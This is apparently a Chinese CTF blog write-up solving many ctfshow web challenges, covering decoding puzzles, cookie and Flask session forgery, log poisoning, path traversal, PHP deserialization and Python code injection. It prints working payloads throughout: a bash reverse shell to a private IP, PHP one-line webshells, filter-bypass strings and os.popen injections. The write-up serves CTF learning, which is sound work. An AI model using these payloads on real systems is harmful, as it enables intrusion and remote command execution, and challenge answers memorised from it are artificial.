CTF-show_Web方向(更新中)
萌新杯
web-14
過濾了括號以及分號
GET:?c=include$_POST['a']?> 、 POST:a=php://filter/read=convert.base64-encode/resource=config.php

密碼3
摩斯密碼解密

得到一個摩斯酷但培根更酷,
MMDDMDMDMMMDDDDMDD%u3MMMMMDDMDMDDM
WEB應(yīng)用與安全防護(hù)
第一章
Base64編碼隱藏
查看網(wǎng)頁源碼,找到登錄腳本,發(fā)現(xiàn)有個base64編碼的正確密碼,結(jié)合下方的登陸成功邏輯,確定解碼后的密碼就是flag。

解碼

HTTP頭注入
使用上次的密碼是試一試能不能登錄

密碼正確,但是提示必須使用ctf-show-brower瀏覽器來訪問頁面

得到flag

Base64多層嵌套解碼
查看源碼,與編碼隱藏相同,注意到這里有五層編碼,解碼即可
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";
function validatePassword(input) {
let encoded = btoa(input);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded) === correctPassword;
}
先解碼一次
IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5得到的就是第四步encoded = btoa('aB3' + encoded + 'qW9').substr(2);處理之后的編碼
第四步將ab3+encoded+qw9 進(jìn)行編碼,然后在第三個字符串開始截取
我們先解碼一次就能得到IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5
同時注意到ab3編碼YUIz ,qw9編碼cVc5
去除添加的字符串,處理之后應(yīng)該是UFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9,這就是第三步處理之后的編碼
然后解碼一次得到PT13U3FkRFM0SlRSNjEwTUY=
encoded.split('').reverse().join('')這個方法是反轉(zhuǎn)編碼
用腳本先解碼一次,再反轉(zhuǎn)編碼
import base64
def recover_original(encoded_b64):
# 1?? 先 Base64 解碼
decoded = base64.b64decode(encoded_b64).decode('utf-8')
# 2?? 再反轉(zhuǎn)字符串
original = decoded[::-1]
return original
if __name__ == "__main__":
encoded_after = "==wSqdDS4JTR610MF"
original_string = recover_original(encoded_after)
print("原字符串是:", original_string)
得到第二步處理后的代碼FM016RTJ4SDdqSw==
這一步去除了前面三個字符,需要補(bǔ)充上三個字符進(jìn)行解碼,然后去除xH7jK然后得到了第一步處理后的編碼,將第一步處理后的編碼再次解碼就是密碼
這里需要利用python進(jìn)行窮舉出所有的結(jié)果
import base64
import itertools
import string
# 待處理字符串
after_slice = "FM016RTJ4SDdqSw=="
# Base64 字符集
B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# 輸出文件
OUT_FILE = "candidates.txt"
def safe_b64decode(b64_str: str):
"""安全 Base64 解碼,失敗返回 None"""
try:
# 補(bǔ)齊 = 保證長度是 4 的倍數(shù)
pad = (-len(b64_str)) % 4
if pad:
b64_str += "=" * pad
return base64.b64decode(b64_str)
except Exception:
return None
def is_valid_utf8(b: bytes):
try:
b.decode("utf-8")
return True
except UnicodeDecodeError:
return False
def main():
total = 0
found = 0
with open(OUT_FILE, "w", encoding="utf-8") as fout:
for prefix_tuple in itertools.product(B64_CHARS, repeat=3):
prefix3 = ''.join(prefix_tuple)
total += 1
full_b64 = prefix3 + after_slice
# 第一次解碼
decoded = safe_b64decode(full_b64)
if decoded is None:
continue
# 去掉尾部 xH7jK
if len(decoded) < 5:
continue
first_layer = decoded[:-5]
# 第二次解碼(去掉尾部 xH7jK 后的 bytes 直接當(dāng)作 Base64)
second_layer_str = first_layer.decode("latin1") # 按 latin1 避免 decode 錯誤
second_layer_decoded = safe_b64decode(second_layer_str)
if second_layer_decoded is None:
continue
# 檢查 UTF-8 合法性
if not is_valid_utf8(second_layer_decoded):
continue
final_text = second_layer_decoded.decode("utf-8")
fout.write(final_text + "\n")
found += 1
if total % 50000 == 0:
print(f"[progress] tried {total} prefixes, found {found} candidates")
print(f"Done. tried {total} prefixes, found {found} candidates. Results in '{OUT_FILE}'")
if __name__ == "__main__":
main()
得到一個密碼字典,利用python進(jìn)行爆破,找到登錄請求,然后抓包。

post請求,路徑是check.php
設(shè)置payload,導(dǎo)入字典,然后傳入主體參數(shù)。

這里遇到問題了,需要更改請求頭


發(fā)現(xiàn)返回長度是2532的都能獲取到flag,可能是密碼中只要包含7316都能正常登錄

用hacker驗(yàn)證一下

中間人攻擊
壓縮包中一個數(shù)據(jù)流、一個日志,日志被加密了
用wireshark打開數(shù)據(jù)流,發(fā)現(xiàn)沒有http流
將日志文件導(dǎo)入,編輯->首選項(xiàng)->Protocols->TLS

導(dǎo)入日志文件,發(fā)現(xiàn)多了兩個HTTP的數(shù)據(jù)
追蹤一下

Cookie偽造
查看源碼沒什么提示,查看cookie現(xiàn)在也沒什么用

利用弱密碼進(jìn)行登錄

發(fā)現(xiàn)cookie中多了一項(xiàng),將role的值修改為admin試試

成功

第二章
一句話木馬變形

可以看到該目錄下有一個flag.php文件
直接讀取文件會報(bào)錯,限制字母,數(shù)字,下劃線和括號

換個命令讀取
show_source(next(array_reverse(scandir(getcwd()))));

得到了flag
反彈shell構(gòu)造

命令可以執(zhí)行但是沒有回顯,可以反彈shell
bash -i >& /dev/tcp/192.168.88.129/8899 0>&1
這里沒有公網(wǎng)服務(wù)器,沒辦法直接反彈shell,可以寫入文件中一句話木馬,然后用蟻劍連接
echo '<?php @eval($_POST[attack]);?>' > attack.php

蟻劍連接

可以看到flag.php


方法二
將執(zhí)行結(jié)果放入txt文件中,ls >1.txt然后訪問該文件

cat flag.php >1.txt


管道符繞過過濾
先輸入一個ls試試

提示ls執(zhí)行成功,但是沒有回顯,直接將執(zhí)行命令結(jié)果寫入文件中

訪問該文件,發(fā)現(xiàn)flag.php文件

其實(shí)默認(rèn)就會執(zhí)行l(wèi)s,沒有這么復(fù)雜。。。只需要用管道符繞過一下即可。

; //分號 都執(zhí)行
| //只執(zhí)行后面那條命令
|| //只執(zhí)行前面那條命令
& //兩條命令都會執(zhí)行
&& //兩條命令都會執(zhí)行

無字母數(shù)字代碼執(zhí)行

發(fā)現(xiàn)后臺是eval執(zhí)行
結(jié)合題目來看,輸入任何攜帶字母和數(shù)字的命令都報(bào)錯,拒絕執(zhí)行。
使用取反繞過
使用取反編碼再取反進(jìn)行繞過時,想要執(zhí)行我們指定的代碼,傳入的payload必須要滿足 (函數(shù)名)() 這樣的形式,否則在取反之前PHP解釋器并不知道是要執(zhí)行一個函數(shù),取反之后就算是一個函數(shù)也不會被當(dāng)作代碼執(zhí)行。
code=(~%8C%86%8C%8B%9A%92)(~%93%8C);

payload
code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);

無字母數(shù)字命令執(zhí)行
第三章
日志文件包含
試一試日志文件路徑
/var/log/nginx/access.log

添加一個請求頭

查看flag.php

<?php file_put_contents('shell.php', '<?php system($_GET["attack"]); ?>'); ?>
第二種方法,蟻劍連接
<?php @eval($_POST['ant']); ?>
base64編碼PD9waHAgQGV2YWwoJF9QT1NUWydhbnQnXSk7ID8+
payload
<?php file_put_contents('shell.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydhbnQnXSk7ID8+')); ?>

查看flag

php://filter讀取源碼
利用題目給的信息,使用php://filter函數(shù)讀取源碼
file=php://filter/read=convert.base64-encode/resource=index.php

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP LFI/RFI Code Executor</title>
<style>
body {
font-family: 'Arial', sans-serif;
background: linear-gradient(135deg, #1e3c72, #2a5298);
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
margin: 0;
color: white;
}
.container {
background: rgba(255, 255, 255, 0.1);
backdrop-filter: blur(10px);
border-radius: 10px;
padding: 2rem;
width: 600px;
box-shadow: 0 15px 30px rgba(0, 0, 0, 0.2);
text-align: center;
}
.container h2 {
margin-bottom: 1.5rem;
}
.form-group {
margin-bottom: 1rem;
text-align: left;
}
.form-group label {
display: block;
margin-bottom: 0.5rem;
font-weight: bold;
}
.form-group textarea {
width: 100%;
padding: 0.8rem;
border: none;
border-radius: 5px;
background: rgba(255, 255, 255, 0.2);
color: white;
min-height: 200px;
font-family: monospace;
}
.form-group textarea:focus {
outline: none;
background: rgba(255, 255, 255, 0.3);
}
button {
width: 100%;
padding: 0.8rem;
border: none;
border-radius: 5px;
background: #4CAF50;
color: white;
font-weight: bold;
cursor: pointer;
transition: background 0.3s;
}
button:hover {
background: #45a049;
}
.result {
margin-top: 1rem;
padding: 0.8rem;
border-radius: 5px;
background: rgba(0, 0, 0, 0.3);
text-align: left;
white-space: pre-wrap;
font-family: monospace;
min-height: 100px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<div class="container">
<h2>PHP LFI/RFI Code Executor</h2>
<form method="POST">
<div class="form-group">
<label for="file">Enter file path:</label>
<textarea id="file" name="file" placeholder=""><?php
if (isset($_POST['file'])) {
echo htmlspecialchars($_POST['file']);
}
?></textarea>
</div>
<button type="submit">Include file</button>
</form>
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file'])): ?>
<div class="form-group">
<label>Include Result:</label>
<div class="result"><?php
include "db.php";
function validate_file_contents($file) {
if(preg_match('/[^a-zA-Z0-9\/\+=]/', $file)){
return false;
}
return true;
}
try {
// Validate input characters
if (preg_match('/log|nginx|access/', $_POST['file'])) {
throw new Exception('Invalid input. Please enter a valid file path.');
}
ob_start();
echo file_get_contents($_POST['file']);
$output = ob_get_clean();
if(!validate_file_contents($output)){
throw new Exception('Invalid input. Please enter a valid file path.');
}else{
echo 'File contents:';
echo '<br>';
echo $output;
}
} catch (Exception $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
?></div>
</div>
<?php endif; ?>
</div>
</body>
</html>

file=php://filter/read=convert.base64-encode/resource=db.php
然后解碼

遠(yuǎn)程文件包含(RFI)

需要一個外部服務(wù)器
路徑遍歷突破

讀取源碼
#禁止以/或者../開頭的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../開頭的文件名</span>';
exit;
}
會對路徑進(jìn)行檢查,但是只檢查了開頭,只需要保證開頭不是/或者../即可
1/../../../../flag.txt

服務(wù)器不會真的去嘗試“打開”一個叫
something的目錄。操作系統(tǒng)在處理文件路徑時,會有一個“規(guī)范化”(Normalization)的過程。當(dāng)它看到.../something/..這種結(jié)構(gòu)時,它會自動將其“簡化”為.../。
菜狗杯1
我是誰??

web簽到
CTF-show菜狗杯web簽到
訪問頁面

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
利用eval進(jìn)行執(zhí)行命令
首先傳入cookieCTFshow-QQ群=a
Cookie: CTFshow-QQ%E7%BE%A4:=a
中文用url編碼
然后eval變?yōu)?/p>
eval($_REQUEST[$_GET[$_POST['a']]][6][0][7][5][8][0][9][4][4]);
post傳入?yún)?shù) a=b;
然后eval變?yōu)?/p>
eval($_REQUEST[$_GET['b']][6][0][7][5][8][0][9][4][4]);
get傳入?yún)?shù) b=c
然后eval變?yōu)?/p>
eval($_REQUEST['c'][6][0][7][5][8][0][9][4][4]);
對于request請求,可以使用任意方式進(jìn)行傳參,寫進(jìn)主體中,傳參為
c[6][0][7][5][8][0][9][4][4]=system('ls')

利用命令查看根目錄

發(fā)現(xiàn)flagaaa,構(gòu)造payloada=b&c[6][0][7][5][8][0][9][4][4]=system('cat /f1agaaa');

web2 c0me_t0_s1gn

需要用上帝的眼睛看~,查看源碼

給了flag前半部分的形式,剩下的需要用控制臺,打開控制臺

運(yùn)行腳本

我的眼里只有$

extract() 方法可用于將數(shù)組展開,鍵名作為變量名,元素值為變量值
``${...}(或多個 $)表示“多層變量變量(variable variables)解引用”。如果從 $ 出發(fā)到目標(biāo)變量需要經(jīng)過 **N** 次“指向”關(guān)系($ -> a -> b -> ... -> target),那么需要 **N 層 $**(即 ${${...${$}...}},或?qū)懗?N 個 $緊跟$)來把最終的變量值取出來,eval(...) 就會把那個最終取到的字符串當(dāng)作 PHP 代碼執(zhí)行。

因?yàn)檫@里有36個$,最后一個變量執(zhí)行命令,讓_=a;a=b一直重復(fù)下去35次,最后一個寫入執(zhí)行的命令
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('tac /f1agaaa');

抽老婆
打開沒發(fā)現(xiàn)有用的信息,用dirsearch掃描一下

有一個console頁面可以返回

要遠(yuǎn)程運(yùn)行命令
之前掃描出來的download頁面沒有攜帶參數(shù),

傳入?yún)?shù)進(jìn)行訪問

可以看到源碼位置,根據(jù)返回值嘗試下載源碼
download?file=../../app.py

有了源碼就簡單多了,只需要驗(yàn)證seesion即可
直接訪問

想得太簡單了,直接讓session=isadmin了,結(jié)果發(fā)現(xiàn)不對,

原來這個用的應(yīng)該是JWT方式認(rèn)證,里面簽名要用到SECRET_KEY;于是我們將isadmin的值更改后,使用密鑰SECRET_KEY重新加密生成一個session。
查看代碼可以看到SECRET_KET的構(gòu)成


python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi':' 6ae9f2cca372305c8edcf15a22f660d8.jpg','isadmin':True}"


更改cookie中的seesion之后

一言既出

傳入?yún)?shù)==114514然后intval處理之后等于1919810

114514%2B1805296
get只會獲得前面的數(shù),而intval函數(shù)會將兩個數(shù)相加。
駟馬難追

這一關(guān)過濾了括號和注釋符,用上一關(guān)的payload即可

TAPTAPTAP
查看源碼,沒什么信息,查看js


WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ=
base64編碼的東西,解碼

給了flag文件的路徑以及文件名

Webshell

先檢測傳入的參數(shù)是否有flag,i的意思是不區(qū)別大小寫,如果傳入?yún)?shù)沒有flag,就執(zhí)反序列化
class Webshell {
// 我們不需要 exec() 或 init() 方法
// 因?yàn)榉?wù)器上的類定義會提供它們。
// 我們只需要設(shè)置 $cmd 屬性。
public $cmd = 'cat /f*';
}
$payload_object = new Webshell();
$serialized_payload = serialize($payload_object);
// 我們需要對 URL 進(jìn)行編碼,以便通過 GET 參數(shù)傳遞
echo urlencode($serialized_payload);
首先查看目錄

?cmd=O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D

使用模糊查詢繞過flag
cat \f*
序列化之后
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A7%3A%22cat+%5Cf%2A%22%3B%7D

但是執(zhí)行沒有反應(yīng)
用tac \f*嘗試
?cmd=O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A7%3A%22tac+%5Cf%2A%22%3B%7D

化零為整

源碼是一個個接收i參數(shù),每個參數(shù)長度都不能大于1,utf-8中,漢字算三個字節(jié),GBK/GB2312 編碼中,漢字算兩個字節(jié)
1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B,

無一幸免
??

傳說之下
源碼中沒什么有用的信息,查看js發(fā)現(xiàn)有個score+1的代碼,修改一下讓他一下加2077


算力超群

點(diǎn)擊hint之后,跳轉(zhuǎn)到新頁面

沒有有用的信息,那就抓包吧

抓包發(fā)現(xiàn)傳遞了三個參數(shù),操作數(shù)1,運(yùn)算符,操作數(shù)2
計(jì)算器應(yīng)用一般與命令執(zhí)行有關(guān),傳遞一個命令執(zhí)行函數(shù)試試

應(yīng)該先導(dǎo)入模塊,在執(zhí)行
_calculate?number1=&operator=&number2=__import__('os').popen('ls').read()

_calculate?number1=&operator=&number2=__import__('os').popen('tac /flag').read()

算力升級
查看源碼

有提示,pyjail題目,
Python 沙箱逃逸(PyJail)是一種在受限的 Python 環(huán)境中,通過繞過限制執(zhí)行任意代碼的技術(shù)。沙箱通常用于限制用戶輸入的代碼執(zhí)行范圍,但通過利用 Python 的動態(tài)特性和豐富的內(nèi)置函數(shù),可以找到多種繞過方法。
我們只要繞過正則匹配即可,
遍地飄零

后臺在接收到GET請求傳遞過來的參數(shù)后,會首先進(jìn)行遍歷,將GET的參數(shù)給$key, 將$key對應(yīng)的值給$value。ET請求傳遞的變量名和變量值都作為本地變量的變量名,然后進(jìn)行值的覆蓋。
最后使用var_dump函數(shù)輸出$_GET的值
如果_GET不是本地變量的話,后臺會輸出GET請求傳遞過去的參數(shù),
因此_GET必須是本地變量,也就是GET請求傳遞的參數(shù);同時,還需要參數(shù)值為flag,才能進(jìn)行變量覆蓋。
payload是?_GET=flag

Is_Not_Obfuscate
總結(jié)
RCE代碼執(zhí)行
intval與preg_match繞過方法:
進(jìn)制繞過二進(jìn)制或者八進(jìn)制或者十六進(jìn)制等等
雙重取反~~繞過
有時候需要編碼需要繞過的字符
$a=~("system"); echo urlencode($a);
換行\n繞過
編碼繞過
SQL查詢中,如果我們將Base64編碼的字符串直接拼接到SQL語句中,并且使用單引號包圍,那么如果Base64編碼的字符串中包含單引號,就會破壞SQL語句的結(jié)構(gòu),導(dǎo)致SQL注入或者語法錯誤。
常見的命令執(zhí)行函數(shù)
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()
過濾;
使用?>繞過
使用if繞過
flask框架中的session偽造
session的作用
由于http協(xié)議是一個無狀態(tài)的協(xié)議,也就是說同一個用戶第一次請求和第二次請求是完全沒有關(guān)系的,但是現(xiàn)在的網(wǎng)站基本上有登錄使用的功能,這就要求必須實(shí)現(xiàn)有狀態(tài),而session機(jī)制實(shí)現(xiàn)的就是這個功能。
用戶第一次請求后,將產(chǎn)生的狀態(tài)信息保存在session中,這時可以把session當(dāng)做一個容器,它保存了正在使用的所有用戶的狀態(tài)信息;這段狀態(tài)信息分配了一個唯一的標(biāo)識符用來標(biāo)識用戶的身份,將其保存在響應(yīng)對象的cookie中;當(dāng)?shù)诙握埱髸r,解析cookie中的標(biāo)識符,拿到標(biāo)識符后去session找到對應(yīng)的用戶的信息
session有兩種儲存方式,一種是存在客戶端的cookies中,另一種存在服務(wù)器中
flask的session格式一般是由base64加密的Session數(shù)據(jù)(經(jīng)過了json、zlib壓縮處理的字符串) . 時間戳 . 簽名組成的。
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session數(shù)據(jù) 時間戳 簽名
時間戳:用來告訴服務(wù)端數(shù)據(jù)最后一次更新的時間,超過31天的會話,將會過期,變?yōu)闊o效會話;
簽名:是利用Hmac算法,將session數(shù)據(jù)和時間戳加上secret_key加密而成的,用來保證數(shù)據(jù)沒有被修改。
session偽造工具
https://github.com/noraj/flask-session-cookie-manager
命令執(zhí)行
__import__('os') 和 import os 有什么區(qū)別?
- 在正常的 Python 腳本里,我們通常在文件開頭寫
import os。 __import__('os')是import os語句背后實(shí)際調(diào)用的底層函數(shù)。它更像是一個“函數(shù)式”的導(dǎo)入方法。- 為什么要用這種不常見的寫法? 在網(wǎng)絡(luò)安全領(lǐng)域(比如 CTF 奪旗賽或代碼注入攻擊)中,這種寫法很常見。因?yàn)橛行┚W(wǎng)站或系統(tǒng)為了安全,會設(shè)置一個過濾器,禁止用戶輸入像
import、exec這樣的危險關(guān)鍵詞。但是,這個過濾器可能沒有屏蔽__import__,因此攻擊者就可以用這種方式“繞過”過濾規(guī)則,成功導(dǎo)入他們想用的模塊。
.操作符
.read() 方法就是用來讀取這個流中的所有內(nèi)容,并將其作為一個字符串返回。
popen() 函數(shù) 這是 os 模塊里的一個函數(shù),全稱是 "pipe open"(管道打開)。它的作用是執(zhí)行一個 shell (命令行) 命令,并返回一個連接到該命令輸入/輸出的“管道”對象(你可以暫時把它理解成一個文件)。
超全局變量
PHP 會自動創(chuàng)建一個名為 $_GET 的超全局?jǐn)?shù)組,用來存放 URL 中 ? 后面的所有參數(shù)。
var_dump() 函數(shù)用于輸出變量的相關(guān)信息。
php反序列化
以ctfshow的webshell為例
攻擊者在本地“打包”對象 攻擊者在自己的電腦上,創(chuàng)建了一個 Webshell 對象,并設(shè)置了惡意的 $cmd:
PHP
// 攻擊者的本地機(jī)器
class Webshell {
public $cmd = 'ls -la';
}
$malicious_obj = new Webshell();
$payload_string = serialize($malicious_obj);
// $payload_string 現(xiàn)在是: "O:8:"Webshell":1:{s:3:"cmd";s:8:"ls -la";}"
這個字符串 "O:8:..." 就像是一個對象的“施工圖紙”或“藍(lán)圖”。它詳細(xì)描述了:“我是一個叫 Webshell 類的對象,我有1個屬性,這個屬性名叫 cmd,它的值是 ls -la。”
攻擊者發(fā)送“藍(lán)圖” 攻擊者把這個字符串作為 cmd 參數(shù)發(fā)送過來: ?cmd=O:8:"Webshell":1:{s:3:"cmd";s:8:"ls -la";}
服務(wù)器“施工” 服務(wù)器上的代碼執(zhí)行到這一行: $unserializecmd = unserialize($serializecmd);
unserialize() 函數(shù)就是那個“施工隊(duì)”。它拿到了 $serializecmd 這個“藍(lán)圖”字符串,然后:
- 它讀取 "O:8:"Webshell"",說:“哦,我需要一個
Webshell類”。 - 它在當(dāng)前運(yùn)行的腳本中查找(在頂部找到了
class Webshell {...}的定義)。 - 它就在內(nèi)存中憑空創(chuàng)建了一個
Webshell對象。 - 然后它繼續(xù)讀取藍(lán)圖:
{s:3:"cmd";s:8:"ls -la";}。 - 它說:“好的,把這個新創(chuàng)建對象的
$cmd屬性,設(shè)置為'ls -la'”。 - 最后,
unserialize()函數(shù)把它“施工”完成的這個對象返回。
結(jié)果 在 unserialize() 執(zhí)行完畢后,$unserializecmd 這個變量現(xiàn)在就是一個 Webshell 類的實(shí)例(對象),并且它的 $cmd 屬性已經(jīng)被污染成了 'ls -la'。

浙公網(wǎng)安備 33010602011771號